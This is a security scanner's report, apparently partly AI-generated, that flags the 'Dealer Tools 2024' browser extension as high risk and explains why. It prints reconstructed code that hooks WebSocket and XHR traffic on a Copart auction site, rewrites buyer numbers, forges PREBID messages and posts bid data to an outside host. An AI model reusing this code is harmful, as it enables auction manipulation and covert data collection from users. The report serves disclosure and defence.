Is Dealer Tools 2024 safe?
Dealer Tools 2024 is high risk. The extension loads an auction bundle into the G2 page, replacing WebSocket/XHR handlers. It decodes messages, sets BUYERNO to 111111 for losing lots, posts bids to cpt-api.liontrans.com, and can publish a fake PREBID message.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Auction bid state rewrite and external bid posting
The extension loads an auction bundle into the G2 page, replacing WebSocket/XHR handlers.
It decodes messages, sets BUYERNO to 111111 for losing lots, posts bids to cpt-api.liontrans.com, and can publish a fake PREBID message.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
You open or bid in the G2 Auction workflow.
The behavior is tied to auction pages under g2auction.copart.com.
The extension takes over live auction message handling and bid-related API responses.
It rewrites buyer-number fields, records bid values, posts bid records to its API host, and can replay a generated PREBID message into the page.
- Lot identifierLOTNO 70845213 / lotId 70845213
Identifies the specific auction lot tied to the bid update.
- Bid amountmaxBid 12500
Shows the amount being tracked or submitted for a lot you are bidding on.
- Buyer numberBUYERNO 111111
Links auction state to a buyer identity in the live auction message.
- Sale timestampsaleDateMilliseconds 1714489200000
Adds timing context for the auction event associated with the bid.
- Publish topictopic bidTopic
Marks the bid event path used when the extension publishes replacement bid data.
The shipped code posts JSON bid records through the extension's API wrapper; no captured request body was available to quote.
The API wrapper and bid-posting functions
Readable API wrapper
g2auction.bundle.js (readable reconstruction from shipped code)async function apiRequest(method, path, payload, options) { const send = async (accessToken) => { let url = 'https://cpt-api.liontrans.com/api/' + path; if (method === 'GET' && payload) url += `?${new URLSearchParams(payload)}`; try { const response = await fetch(url, { method, ...(method === 'POST' ? { body: JSON.stringify(payload) } : {}), headers: { Authorization: 'Bearer ' + accessToken, ...(options?.contentType ? { 'Content-Type': options.contentType } : { 'Content-Type': 'application/json; charset=utf-8' }) } }); if (response.status === 401) { const refreshed = await fetch('https://cpt-api.liontrans.com/api/Auth/Refresh', { method: 'post', body: JSON.stringify({ refreshToken: g.user.refreshToken }), headers: { 'Content-Type': 'application/json; charset=utf-8' } }).then((r) => r.json()); if (refreshed.succeeded) { const nextUser = { ...g.user, ...refreshed.data }; localStorage.setItem('extentionUser', nextUser); g.user = nextUser; return await send(g.user.accessToken); } h(); } else if (response.status !== 200) { fetch('https://cpt-api.liontrans.com/api/Bid/Log', { method: 'post', body: JSON.stringify({ data: `${path}; ${typeof payload === 'object' && JSON.stringify(payload)} ${response.status}` }), headers: { 'Content-Type': 'application/json; charset=utf-8' } }); } if (!options || !options?.contentType || options?.contentType === 'application/json') return await response.json(); return response; } catch (error) { console.error('error', error); } }; if (g.user) return await send(g.user.accessToken); h(); }Readable Bid/Bid record submission
g2auction.bundle.js (readable reconstruction from shipped code)async function postBidRecord(lotId, currentBid, maxBid, topic = 'test', saleDateMilliseconds) { y.post('Bid/Bid', { lotId, currentBid, maxBid, topic, saleDateMilliseconds }, { contentType: 'application/json' }); }Readable PREBID replay
g2auction.bundle.js (readable reconstruction from shipped code)async function sendPrebidMessageToUser(lotNumber, prebidAmount) { try { const sale = await (async function findSaleByLot(lotNumber) { try { const now = new Date(); const today = now.toISOString().split('T')[0]; const yesterday = new Date(now.setDate(now.getDate() - 1)).toISOString().split('T')[0]; const auctionKey = await fetch(`https://g2auction.copart.com/g2/api/v1/search/?fromDateTimeUTC=${yesterday}:2000&toDateTimeUTC=${today}:1959&key=${lotNumber}`).then((r) => r.json()).then((r) => r.data.filteredSales[0]); return b.auctions.find((auction) => auction.auctionKey == auctionKey); } catch (error) { return; } })(lotNumber); const chainName = b.auctionChains[sale.auctionKey]; if (!sale || !chainName) return; const message = { '@class': 'com.copart.auction.messagerecords.PREBIDMessage', EMPTY: false, FORMATNAME: 'PREBID', SITECODE: 'CPRTUS', BUYERST: '', EVENTCODE: 'PRCD', BUYERCTR: '', MINMET: 'Y', LOTNO: lotNumber, TOKEN: '', BUYERNO: '111111', APRFLG: 'N', TYPE: 'P', IPADDRESS: '', PREBID: prebidAmount }; const frame = `[{"d":[8,{"CNAME":"${chainName}","EID":[0,167],"Data":"${btoa(JSON.stringify(message))}","Tag":"UFJFQklE","Dictionary":{"sale":[0,"${sale.auctionKey}"],"auctionId":[1,[0,${sale.auctionId}]]},"h":{"pubHost":"10.151.17.64","pubName":"vb2usr","timeStamp":[400,1516266765]}}]}]`; console.warn('sendPrebidMesageToUser', frame); window.nirvanaClientOnMessage.call(window.nirvanaClient, { data: frame }); } catch (error) { console.error(error); } }The WebSocket and XHR hooks that change auction state
Readable Nirvana WebSocket replacement
g2auction.bundle.js (readable reconstruction from shipped code)function installAuctionWebSocketHook() { try { const OriginalWebSocket = window.WebSocket; window.WebSocket = function(url, protocols) { const socket = new OriginalWebSocket(url, protocols); const originalSend = socket.send; console.warn('ws.url', socket.url); if (socket.url.includes('nirvana')) { window.nirvanaClient = socket; socket.addEventListener('open', function() { const originalOnMessage = socket.onmessage; window.nirvanaClientOnMessage = originalOnMessage; socket.onmessage = async function(event) { async function rewriteAuctionFrame(event) { const frame = JSON.parse(event.data); const encodedData = frame[0]?.d[1]?.Data || ''; const record = JSON.parse(atob(encodedData)); const lotNumber = parseInt(record.LOTNO); const amountField = { BIDREC: 'CURBID', CURITEM: 'STARTBID', PREBID: 'PREBID', STARTITEM: 'STARTAMT' }[record.FORMATNAME]; const trackedBid = b.userBids[lotNumber]; const incomingAmount = trackedBid ? Math.max(parseInt(record[amountField]), trackedBid.buyerBid) : parseInt(record[amountField]); if (record.BUYERNO == b.g2User?.buyer?.buyerNumber) { const stillWinning = trackedBid && incomingAmount <= trackedBid?.maxPrelimBid; record.BUYERNO = stillWinning ? b.g2User?.buyer?.buyerNumber : 111111; if (trackedBid) { trackedBid.buyerBid = incomingAmount; trackedBid.buyerWinning = 1; trackedBid.winning = stillWinning ? 1 : 0; trackedBid.maxPrelimBid = stillWinning ? incomingAmount : trackedBid.maxPrelimBid; } else { b.userBids[lotNumber] = { lotNumber, maxPrelimBid: 0, buyerBid: incomingAmount, buyerWinning: 1, winning: 0 }; } frame[0].d[1].Data = btoa(JSON.stringify(record)); } else if (trackedBid) { b.userBids[lotNumber].buyerWinning = 0; b.userBids[lotNumber].winning = 0; } console.warn('userBids', b.userBids); return JSON.stringify(frame); } const parsed = JSON.parse(event.data); const encodedData = parsed[0]?.d[1]?.Data || ''; if (encodedData) { const record = JSON.parse(atob(encodedData)); console.warn(record?.FORMATNAME, record); if (record?.FORMATNAME === 'BIDREC') return originalOnMessage.call(socket, { data: await rewriteAuctionFrame(event) }); if (record?.FORMATNAME === 'CURITEM') return originalOnMessage.call(socket, { data: await rewriteAuctionFrame(event) }); if (record?.FORMATNAME === 'PREBID') return originalOnMessage.call(socket, { data: await rewriteAuctionFrame(event) }); if (record?.FORMATNAME === 'STARTITEM') return originalOnMessage.call(socket, { data: await rewriteAuctionFrame(event) }); if (record?.FORMATNAME === 'SOLD') delete b.userBids[parseInt(record.LOTNO)]; } else if (parsed[0]?.d[0] == 5) { const chainName = parsed[0].d[1][2] || ''; const auctionKey = parsed[0].d[1][0].split('/')[1] || ''; b.auctionChains[auctionKey] = chainName; } originalOnMessage.call(this, { data: event.data }); }; }); socket.send = function(payload) { const params = payload.split('&').map((part) => part.split('=')).reduce((acc, [key, value]) => (acc[key] = decodeURIComponent(value), acc), {}); console.warn('send', params); if (params.T == v || params.T == k) { const bidPayload = JSON.parse(atob(params.D)); const lotNumber = bidPayload.LOTNO; const amount = bidPayload.AMOUNT; const trackedBid = b.userBids[lotNumber]; const auctionKey = params.J && params.J?.split(',')?.at(-1); const saleTimestamp = b.auctions.find((auction) => auction.auctionKey == auctionKey)?.saleTimestampEpochUTC || null; console.warn('auctionKey', auctionKey, saleTimestamp); if (trackedBid) { if (params.T == k && trackedBid.buyerWinning && !trackedBid.winning) { const replacementMax = amount == trackedBid.buyerBid ? w(amount) : Math.min(amount, P(trackedBid.buyerBid)); const recordedMax = amount == trackedBid.buyerBid ? w(amount) : amount; console.warn(`Outbid By ${replacementMax}`); trackedBid.maxPrelimBid = Math.max(recordedMax, trackedBid.maxPrelimBid); O(lotNumber, 0, recordedMax, '', saleTimestamp); (async function publishBid(topic, message) { y.post('Bid/PublishBid', { topic, message }, { contentType: 'application/json' }); })('bidTopic', JSON.stringify({ LotId: lotNumber, MaxBid: replacementMax })); if (amount > trackedBid.buyerBid) originalSend.call(socket, payload); return R(lotNumber, P(amount)); } const nextMax = amount == trackedBid.buyerBid ? w(amount) : amount; trackedBid.maxPrelimBid = Math.max(nextMax, trackedBid.maxPrelimBid); } else { b.userBids[lotNumber] = { lotNumber, maxPrelimBid: amount, buyerBid: amount, buyerWinning: 1, winning: 1 }; } O(lotNumber, 0, amount, '', saleTimestamp); } originalSend.call(socket, payload); }; } else { socket.addEventListener('open', function() { const originalOnMessage = socket.onmessage; window.nirvanaClientOnMessage = originalOnMessage; socket.onmessage = async function(event) { originalOnMessage.call(this, { data: event.data }); }; }); socket.send = function(payload) { (function inspectBinaryBid(payload) { try { let text = ''; const bytes = new Uint8Array(payload); const length = bytes.byteLength; for (let i = 0; i < length; i++) text += String.fromCharCode(bytes[i]); console.warn('sssssss', btoa(text)); try { const encoded = btoa(text); const embedded = JSON.stringify(atob(encoded)).match(/eyJ[A-Za-z0-9+/=]+/)[0]; const event = JSON.parse(atob(embedded)); if (event.event == 'bid' || event.event == 'prebid') { try { const bid = JSON.parse(atob(event.data)); const lotNumber = bid.LOTNO; const amount = bid.AMOUNT; const sale = event.sale; const saleTimestamp = b.auctions.find((auction) => auction.auctionKey == sale)?.saleTimestampEpochUTC || null; console.warn('auctionKey', sale, saleTimestamp); O(lotNumber, 0, amount, '', saleTimestamp); } catch (error) { console.warn(error.message); } } } catch (error) {} } catch (error) { console.warn(error); } })(payload); originalSend.call(socket, payload); }; } return socket; }; window.WebSocket.prototype = OriginalWebSocket.prototype; const timer = setInterval(() => { if (window.nirvanaClient) { clearInterval(timer); u(false); return; } console.log('ws not connected'); if (!document.querySelector('.ext-loader')) u(true); }, 5000); } catch (error) { console.error(error); u(true); } }Readable XHR response rewriter
g2auction.bundle.js (readable reconstruction from shipped code)function installAuctionXhrHook() { var OriginalXMLHttpRequest = window.XMLHttpRequest; window.XMLHttpRequest = function() { var request = new OriginalXMLHttpRequest(); var originalOpen = request.open; request.open = function(method, url) { if (url.startsWith('api/v1/watchlist/get/')) { async function replaceWatchlist() { return { metadata: { responseCode: 200, responseMessage: 'OK', additionalInfo: [] }, data: { watchList: b.watchlist.length > 0 ? b.watchlist : await S() } }; } M(request, replaceWatchlist); } else if (url.startsWith('api/v1/watchlist/add/')) { (async function addWatchlist(lotId) { await y.post('Watchlist/Add', { lotId }); await S(); })(url.split('/').at(-1)); } else if (url.startsWith('api/v1/watchlist/remove/')) { (async function removeWatchlist(lotId) { await y.post('Watchlist/Remove', { lotId }); await S(); })(url.split('/').at(-1)); } else if (url.startsWith('api/v1/myMaxBids/get/') && !url.includes('?v=')) { async function replaceMyMaxBids() { const [companyCode, yardNumber, laneCode] = url.replace('api/v1/myMaxBids/get/', '').split('/'); const sale = { companyCode, yardNumber, laneCode }; return { metadata: { responseCode: 200, responseMessage: 'OK', additionalInfo: [] }, data: { myMaxBids: (await j(sale)).data.myMaxBids.map((maxBid) => { const trackedBid = b.userBids[maxBid.lotNumber]; return trackedBid.maxPrelimBid == 0 ? null : trackedBid; }).filter((value) => value) } }; } A({ request, dataFn: replaceMyMaxBids }); } else if (url.startsWith('authenticate/api/v1/sale/messages/')) { async function rewriteSaleMessages(responseText) { try { const parsed = JSON.parse(responseText); const curItemMessage = parsed?.data?.saleMessages?.curItemMessage; const prebidMessagePerLot = parsed?.data?.saleMessages?.prebidMessagePerLot; const bidRecMessage = parsed?.data?.saleMessages?.bidRecMessage; for (const lotNumber in b.userBids) { if (prebidMessagePerLot && prebidMessagePerLot[lotNumber] && !b.userBids[lotNumber].winning) prebidMessagePerLot[lotNumber].BUYERNO = '111111'; if (curItemMessage && curItemMessage.LOTNO == lotNumber && curItemMessage.BUYERNO == b.g2User?.buyer?.buyerNumber && !b.userBids[lotNumber].winning) curItemMessage.BUYERNO = '111111'; if (bidRecMessage && bidRecMessage.LOTNO == lotNumber && bidRecMessage.BUYERNO == b.g2User?.buyer?.buyerNumber && !b.userBids[lotNumber].winning) curItemMessage.BUYERNO = '111111'; } return JSON.stringify(parsed); } catch (error) { console.error(error); return JSON.parse(responseText); } } M(request, rewriteSaleMessages); } else if (url.startsWith('api/v1/buyer/login/') && !url.includes('?v=')) { async function loadAuctionBids() { try { const auctionKey = url.replace('api/v1/buyer/login/', '').split('?')[0]; const auction = b.auctions.find((item) => item.auctionKey == auctionKey); await j(auction); } catch (error) { console.warn('auction loggin error', error); } } async function rewriteBuyerLogin(responseText) { try { const parsed = JSON.parse(responseText); const curItemMessage = parsed?.data?.saleMessages?.curItemMessage; const prebidMessagePerLot = parsed?.data?.saleMessages?.prebidMessagePerLot; const bidRecMessage = parsed?.data?.saleMessages?.bidRecMessage; for (const lotNumber in b.userBids) { if (prebidMessagePerLot && prebidMessagePerLot[lotNumber] && !b.userBids[lotNumber].winning) parsed.data.saleMessages.prebidMessagePerLot[lotNumber].BUYERNO = '111111'; if (curItemMessage && curItemMessage.LOTNO == lotNumber && curItemMessage.BUYERNO == b.g2User?.buyer?.buyerNumber && !b.userBids[lotNumber].winning) curItemMessage.BUYERNO = '111111'; if (bidRecMessage && bidRecMessage.LOTNO == lotNumber && bidRecMessage.BUYERNO == b.g2User?.buyer?.buyerNumber && !b.userBids[lotNumber].winning) curItemMessage.BUYERNO = '111111'; } return JSON.stringify(parsed); } catch (error) { console.error(error); return JSON.parse(responseText); } } M(request, rewriteBuyerLogin); A({ request, dataFn: loadAuctionBids }); } else if (url.startsWith('api/v1/login')) { async function rememberG2User(responseText) { const parsed = JSON.parse(responseText); b.g2User = parsed.data; } M(request, rememberG2User); } else if (url.startsWith('api/v1/sales')) { async function rememberAuctions(responseText) { try { const parsed = JSON.parse(responseText); b.auctions = parsed.data; } catch (error) { console.error(error); } } M(request, rememberAuctions); } originalOpen.apply(this, arguments); }; return request; }; }- cpt-api.liontrans.com
Receives extension API calls for Bid/Bid records, Bid/PublishBid messages, bid lookups, watchlist changes, auth refreshes, and error logs.
- g2auction.copart.com
The auction site whose WebSocket frames and bid-related API responses are intercepted and rewritten in the page context.
What it can do
Permissions this extension asks for, as declared in version 0.1.55. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on copart.com
*://*.copart.com/*
Store data in your browser
storage
See the address and title of every tab you have open
tabs
See, disable and uninstall your other extensions, including your security ones
management
Route all of your browsing through a server of its choosing
proxy
Watch every request your browser makes
webRequest
Block and redirect the requests your browser makes
declarativeNetRequest
Read and change cookies, including the ones that keep you signed in
cookies
Attach to pages with the browser's debugger, which can read and rewrite anything on them
debugger
Run its own code inside the pages you visit
scripting